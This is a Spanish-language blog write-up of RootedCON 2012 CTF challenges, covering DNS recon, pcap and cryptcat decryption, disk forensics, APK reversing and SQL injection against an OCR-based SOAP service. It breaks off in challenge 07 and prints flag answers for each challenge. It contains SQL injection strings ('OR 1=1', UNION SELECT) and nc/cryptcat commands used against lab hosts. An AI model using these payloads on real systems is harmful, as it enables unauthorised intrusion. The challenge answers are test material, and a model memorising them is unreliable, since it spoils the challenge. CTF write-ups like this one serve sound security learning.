<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057849"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026381"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949554"><span lang="es">Prueba
00</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057850"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026382"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949556"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">Realizando un
escaneo de la red obtenemos la siguiente lista de hosts activos:<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<i><span lang="EN-US">Host
10.1.0.1 appears to be up.<br />
Host 10.1.0.21 appears to be up.<br />
Host 10.1.0.22 appears to be up.<br />
Host 10.1.0.23 appears to be up.<br />
Host 10.1.0.24 appears to be up.<br />
Host 10.1.0.25 appears to be up.<br />
Host 10.1.0.26 appears to be up.<br />
Host 10.1.0.254 appears to be up.<o:p></o:p></span></i></div>
<div class="MsoNormal">
<i><span lang="EN-US"><br /></span></i></div>
<div class="MsoNormal">
<span lang="es">Se puede ver
que el <i>host</i> 10.1.0.1 parece activo
pero no aparecía en el listado de máquinas de pruebas. Realizamos un escaneo de
puertos y descubrimos que en esta máquina se puede acceder a un servidor DNS.
Obteniendo información de la clase <i>chaos</i>
del DNS averiguamos el hostname <i>ctf2012</i>:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">$ dig hostname.bind txt chaos @10.1.0.1
; <<>> DiG 9.7.3 <<>> hostname.bind txt chaos @10.1.0.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19104
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;hostname.bind. CH TXT
;; ANSWER SECTION:
hostname.bind. 0 CH TXT "ctf2012"
;; AUTHORITY SECTION:
hostname.bind. 0 CH NS hostname.bind.
;; Query time: 39 msec
;; SERVER: 10.1.0.1#53(10.1.0.1)
;; WHEN: Sun Feb 26 22:02:33 2012
;; MSG SIZE rcvd: 65
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Seguidamente
obtenemos los datos asociados a este host:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">$ dig ctf2012 ANY @10.1.0.1
; <<>> DiG 9.7.3 <<>> ctf2012 ANY @10.1.0.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4997
;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;ctf2012. IN ANY
;; ANSWER SECTION:
ctf2012. 604800 IN SOA localhost. root.localhost. 31338 604800 86400 2419200 604800
ctf2012. 604800 IN NS ns.ctf2012.
ctf2012. 604800 IN TXT "prueba00 key=quite_clever_dns_is_useful"
;; ADDITIONAL SECTION:
ns.ctf2012. 604800 IN A 10.1.0.1
;; Query time: 42 msec
;; SERVER: 10.1.0.1#53(10.1.0.1)
;; WHEN: Sat Feb 25 16:26:24 2012
;; MSG SIZE rcvd: 160
</pre>
<div class="Code">
<br /></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057851"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026383"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949557"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: quite_clever_dns_is_useful<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057852"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026384"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949558"><span lang="es">Prueba
01</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057853"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026385"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949560"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">Nos conectamos
vía SSH y nos movemos al directorio /home/ctf01. Allí encontramos un archivo
LEEME cuyo contenido es “La clave es el Password.”. Posteriormente, encontramos
un directorio con registros del sistema en <i>/logs</i>,
y analizando el contenido de los logs encontramos el siguiente texto:</span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="Code">
<span lang="es">Password: kLmmNooP0<o:p></o:p></span><br />
<span lang="es"><br /></span></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057854"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026386"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949561"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: </span>kLmmNooP0<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057855"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026387"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949562"><span lang="es">Prueba
02</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057856"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026388"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949564"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">Al acceder al <i>home</i> del usuario proporcionado nos encontramos
con 2 <i>pcap</i> y un archivo llamado <i>cryptcat</i> que se encuentra vacío y al
cual no podemos acceder. Descargamos los <i>pcap</i>
y analizamos el archivo llamado <i>prueba2.cap</i>.
Podemos ver una conexión con un intercambio de datos sobre TCP, que asumimos
está cifrada con <i>cryptcat</i>.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Tras varios
intentos de reproducir los datos y descifrarlos con <i>cryptcat</i> conseguimos el resultado con los siguientes comandos tras
extraer los datos del <i>pcap</i> al archivo
<i>flujo</i>:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">$ cryptcat -k kLmmNooP0 -l -p 8000 > decrypted
$ cat flujo | nc -v localhost 8000
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Con esto
obtenemos un archivo PDF, que contiene el siguiente código JavaScript:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: javascript;">7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (app.alert(FileNM);app.alert({cMsg: 'This PDF was created using Didier Stevens tools. Challenge key is = [didiermola]', cTitle: 'RootedCON2012 CTF: makepdf 1_1 - PRUEBA2 MUY SIMPLE', nIcon: 3});)
>>
endobj
</pre>
<div class="Code">
<br /></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057857"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026389"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949565"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: didiermola<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057858"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026390"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949566"><span lang="es">Prueba
03</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057859"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026391"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949568"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">En el
directorio <i>home</i> del usuario ctf03 se
puede encontrar una imagen de 512MB. Al descargarla y hacer un <i>strings</i> se puede comprobar que se trata
de un sistema de ficheros, pero que al intentar montarlo falla puesto que la
imagen está corrupta.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Tras varios
intentos de recuperar el sistema de ficheros con <i>Testdisk</i>, para intentar conseguir un archivo potencialmente
interesante que aparece al hacer <i>strings</i>
(aparece la siguiente ruta <i>/home/AAAAAA/CTF2012/AAA/AAAAA/AAAA/rooted.txt</i>),
decidimos simplemente seguir analizando la salida de <i>strings</i>.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Tras un tiempo
mirando cadenas sin sentido, aparecen las siguientes frases:<o:p></o:p></span></div>
<div class="MsoNormal">
<i>las coordenadas están en los ficheros.<br />
you can find coordinates into the files.</i><o:p></o:p></div>
<div class="MsoNormal">
<i><br /></i></div>
<div class="MsoNormal">
<span lang="es">Tras esto,
pasamos <i>foremost</i> en busca de algún
fichero que pueda contener coordenadas. Las primeras ideas apuntan a ficheros <i>JPEG</i> con las coordenadas en los
metadatos EXIF. Sin embargo, este camino parece llevar a ninguna parte. Entre
los archivos recuperados con <i>foremost</i>
aparecen dos archivos <i>wav</i>, cuyo
contenido consiste claramente de tonos DMTF.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Tras
decodificarlos, obtenemos los siguientes valores: 51594744 y 00443394. Lo
siguiente es jugar con <i>Google Maps</i> y
varias combinaciones de estos números. Tras varias pruebas que nos llevan al
medio del océano y a partes que no nos dicen nada, llegamos al siguiente punto:</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYHcoa45SUse4yGkH-vI4rA7ukJFx78W5KpyOHskEQUKui_frOok-EvuSl9EKizhd5SWn8iVRBBTev5M6DU7-jxSCMhjDAV09m6YtAq71PBhyXTAe0O8ajdgRyLKlB4ekrKUxa26NLz-o/s1600/k1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="221" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYHcoa45SUse4yGkH-vI4rA7ukJFx78W5KpyOHskEQUKui_frOok-EvuSl9EKizhd5SWn8iVRBBTev5M6DU7-jxSCMhjDAV09m6YtAq71PBhyXTAe0O8ajdgRyLKlB4ekrKUxa26NLz-o/s400/k1.png" width="400" /></a></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="EN-US"><o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es">Cómo se puede
observar en el mapa se trata de <i>Bletchley
Park</i>, localización famosa por su utilización por la inteligencia aliada
durante la II Guerra Mundial como centro de criptoanálisis. </span><o:p></o:p><br />
<span lang="es"><br /></span></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057860"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026392"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949569"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: Bletchley Park<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057861"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026393"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949570"><span lang="es">Prueba
04</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057862"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026394"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949572"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">Tras acceder
al <i>home</i> del usuario, podemos ver un <i>shell</i> <i>script</i> con nombre <i>sender</i>.
Analizando el script, vemos que extrae un fichero XML de él. Extrayendo dicho
fichero con <i>uudecode</i> obtenemos los
siguientes datos:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: xml;"><resti>
<name>ctf04</name>
<password>ppLggd099</password>
<seed>R3Sti</seed>
<usedatetime>1</usedatetime>
<crypt>md5</crypt>
</resti>
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Probamos
varias combinaciones de esta información cómo <i>md5(time + seed + pass), </i>md5(seed+pass+time), etc. Hasta dar con <i>md5(pass+seed) </i>que nos da el token
correcto.</span><o:p></o:p><br />
<span lang="es"><br /></span></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057863"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026395"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949573"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: </span>9073a59977303ebdfea39302f407cc6e<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057864"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026396"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949574"><span lang="es">Prueba
05</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057865"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026397"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949576"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La contraseña
de acceso al servidor SSH para el usuario <i>ctf05</i>
resulta ser el mismo password obtenido en el archivo XML de la prueba 04. Tras
acceder al SSH encontramos un APK con una aplicación Android a reversear en
/usr/CTF/prueba05/crackme2.apk.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Mediante <i>dex2jar</i> convertimos el apk en jar y
procedemos a decompilarlo usando <i>JD-GUI</i>.
Con esto, podemos ver que la aplicación contiene un receptor de SMSs cuyo
acceso parece ser protegido por una clave.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Analizando la
clase SMSReceiver vemos que en primer lugar valida los SMS recibidos usando
TDES para descifrar valores obtenidos de los recursos del APK. Una vez validado
el SMS, se inicia la clase KeyScreen, que pide una clave y la valida de una
forma similar. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Finalmente,
cuando esta clave es correcta se llama a CrackmeDone, que a su vez descifra la
clave final desde los recursos del APK. Puesto </span>que no se disponía del entorno de ejecución de Android cuando se realizó la
prueba, se decidió resolverla estáticamente.
El código que muestra la clave final es el siguiente:<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: java;">package com.android.crackme;
import android.app.Activity;
import android.content.res.Resources;
import android.os.Bundle;
import android.widget.TextView;
import com.chilkatsoft.a;
public class CrackmeDone extends Activity
{
public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130903042);
TextView localTextView = (TextView)findViewById(2131034115);
a locala = new a();
if (!locala.g("Belén Esteban, prinsesa der pueblo0o0h!"));
while (true)
{
return;
locala.d("3des");
locala.f("cbc");
locala.b();
locala.a();
locala.c("hex");
locala.e("md5");
locala.b(getResources().getString(2130968579), "hex");
locala.a(locala.b(getResources().getString(2130968580)), "hex");
String str = locala.a(getResources().getString(2130968581));
localTextView.setText("" + str + "\n");
}
}
}
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
Para reproducir dicho
código, se utilizó el siguiente script Python para obtener la clave final,
utilizando las mismas librerías criptográficas usadas por el crackme. Antes de
ello, necesitamos extraer las cadenas de los recursos y averiguar qué cadena
pertenece a cada parámetro numérico utilizado en el código. <span lang="EN-US">Para ello usamos <i>apktool</i>:<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: python;">import sys
import chilkat
import binascii
def mdecode (str):
out = ""
for e in str:
out = out + chr( (ord(e)-32+47)%94 + 32)
return out
crypt = chilkat.CkCrypt2()
success = crypt.UnlockComponent("Anything for 30-day trial.")
if (success != True):
print "Crypt component unlock failed"
sys.exit()
# Specify 3DES for the encryption algorithm:
crypt.put_CryptAlgorithm("3des")
crypt.put_CipherMode("cbc")
crypt.put_KeyLength(192)
crypt.put_PaddingScheme(0)
crypt.put_EncodingMode("hex")
crypt.put_HashAlgorithm("md5")
keyAscii = "000102030405060708090A0B0C0D0E0F0001020304050607"
ivAscii = "0001020304050607"
crypt.SetEncodedIV(ivAscii,"hex")
crypt.SetEncodedKey(crypt.hashStringENC(keyAscii),"hex")
encStr = "5C2259CE34701A6C79FE3E054197344D14C8817DDE225A74333EC66D6D45F41141AE9B5264A036EA4C4510D6F3DC27D5"
# Now decrypt:
decStr = crypt.decryptStringENC(encStr)
print decStr
</pre>
<div class="Code">
<br />
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026398"></a></div>
<div class="MsoNormal">
<span lang="es">Una
vez ejecutado, el resultado es el siguiente:<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="EN-US">Here you have your key:
c4r4c0l3s_3n_pr1m4v3r4!<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="EN-US"><br /></span></div>
<div class="MsoNormal">
Además de
esta clave final, también desciframos las otras cadenas mediante scripts
similares por si fuesen útiles para otras pruebas. El resultado de descifrar
las otras dos cadenas es el siguiente:<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span lang="EN-US">chuck_n0rr1s_t0d0p0d3r0s0<br />
ch4ll3ng3_s0lv3d?_n0p3_1s_chuck_t3st4<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="EN-US"><br /></span></div>
<div class="MsoNormal">
Para
estas últimas hubo que sacar el código de la clase CipherAlgorithm mediante
baksmali, puesto que JD-GUI no lo reconstruye correctamente. <span lang="EN-US">El código obtenido con baksmali es el siguiente:<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: plain;">:goto_0
if-lt v0, v3, :cond_0
invoke-virtual {v1},
Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
return-object v0
:cond_0
aget-char v4, v2, v0
add-int/lit8 v4, v4, -0x20
add-int/lit8 v4, v4, 0x2f
rem-int/lit8 v4, v4, 0x5e
add-int/lit8 v4, v4, 0x20
int-to-char v4, v4
invoke-virtual {v1, v4},
Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
add-int/lit8 v0, v0, 0x1
goto :goto_0
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
Que
implementado en Python queda como sigue:<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: python;">def mdecode (str):
out = ""
for e in str:
out = out + chr( (ord(e)-32+47)%94 + 32)
return out
</pre>
<div class="Code">
<br /></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057866">Clave</a><o:p></o:p></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: </span>c4r4c0l3s_3n_pr1m4v3r4!<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057867"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026399"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949578"><span lang="es">Prueba
06</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057868"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026400"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949580"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">Tras escanear
la IP proporcionada ( 10.1.0.23 ) obtenemos la siguiente lista de servicios
abiertos:<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">$ nmap scan report for 10.1.0.23
Host is up (0.036s latency).
Not shown: 1017 closed ports
PORT STATE SERVICE
22/tcp open ssh
47/tcp open ni-ftp
80/tcp open http
81/tcp open hosts2-ns
86/tcp open mfcobol
87/tcp open priv-term-l
88/tcp open kerberos-s
</pre>
<div class="Code">
</div>
<div class="MsoNormal">
<span lang="es">Además, el
fichero <i>otraprueba.pcap</i> obtenido en
la prueba 02 nos proporciona información sobre el servicio en el puerto 80 de
esta máquina. Tras analizar las capturas, creamos un script en python para
pasar valores arbitrarios (incluyendo imágenes con texto creadas con <i>convert</i> de ImageMagick) al servicio.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">El servicio
responde en ocasiones detectando la imagen, y en otras ocasiones con <i>CODE IS INVALID</i>. Además, la máquina
sufre problemas continuos resultando en inaccesibilidad al servicio, bien por
problemas de conexión o por errores tipo <i>Internal
Server Error</i>.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Cambiando los
valores en la imagen por otros valores intentando buscar inyecciones SQL,
obtenemos el siguiente error usando el texto <i>000000’ /* AA</i>:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: xml;"><?xml version="1.0" encoding="UTF-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><namesp1:plateResponse xmlns:namesp1="urn:ws">
<s-gensym3 xsi:type="xsd:string">ERROR SQL 4097 OR PARSE ERROR
</s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>
</pre>
<div class="Code">
<span lang="EN-US"><br />
<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="EN-US"> </span><span lang="es">Además, también obtenemos otro error
SQL distinto al pasar cadenas como <i>000001´OR
1=1 /*</i>:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: xml;"><?xml version="1.0" encoding="UTF-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><namesp1:plateResponse xmlns:namesp1="urn:ws">
<s-gensym3 xsi:type="xsd:string">ERROR SQL 4098: SELECT QUERY FAILED ON [000001]
</s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">En cambio,
realizando ligeros cambios en la sentencia obtenemos resultados que parecen
incoherentes: la petición es aceptada perfectamente y nuestra cadena es
devuelta por el servicio o el <i>parse error</i>
anterior es devuelto.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Esto nos lleva
a pensar que no hay un servidor SQL real detrás del servicio. Tras varias
pruebas más y paciencia probando con UNION SELECT´s con valores distintos,
llegamos a la combinación mágica:<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<i><span lang="EN-US">000000\' UNION
SELECT \'1\' ,
\'1\' , \'1\' /* <o:p></o:p></span></i></div>
<div class="MsoNormal">
<i><span lang="EN-US"><br /></span></i></div>
<div class="MsoNormal">
<span lang="es">Utilizando
este texto en la imagen recibimos la siguiente respuesta:<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: xml;"><?xml version="1.0" encoding="UTF-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><namesp1:plateResponse
xmlns:namesp1="urn:ws"><s-gensym3 xsi:type="xsd:string">31337OWNED
</s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Como se puede
observar, no hay en ningún momento referencias a campos conteniendo la clave ni
nada similar. Con una sentencia así, uno esperaría obtener campos con valor 1
en el resultado en lugar de una clave tal cual.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Esto lleva a
la conclusión de que no hay motor SQL detrás de la prueba sino una serie de
comprobaciones sobre la cadena obtenida tras el paso por el OCR. <o:p></o:p></span><br />
<span lang="es"><br /></span></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057869"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026401"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949581"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: 31337OWNED<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057870"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026402"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949582"><span lang="es">Prueba
07</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057871"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026403"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949584"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">De nuevo un
servicio en la <i>máquina maldita</i>. Esta vez
se trata del puerto 81, que indica ser un <i>Roxen
Web Server 0.99.19B. </i>Además del 81, este servicio estaba corriendo en otros
puertos como el 86, 87 y 88, aunque aparentemente era el mismo servicio puesto
que cuando caía uno caían todos.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
Al hacer una petición GET
al servicio, se obtiene un error HTTP 401 <i>Unauthorized</i>:<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">UTCDate: Sat Feb 25 14:04:08 UTC 2012
HTTP/1.1 401 Unauthorized
Date: Sat, 25 Feb 2012 14:04:08 GMT
Server: Roxen Web Server 0.99.19B
Content-Type: text/html
Content-Length: 59
<title>401 Unauthorized</title>
<h1>401 Unauthorized</h1>
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">En este caso,
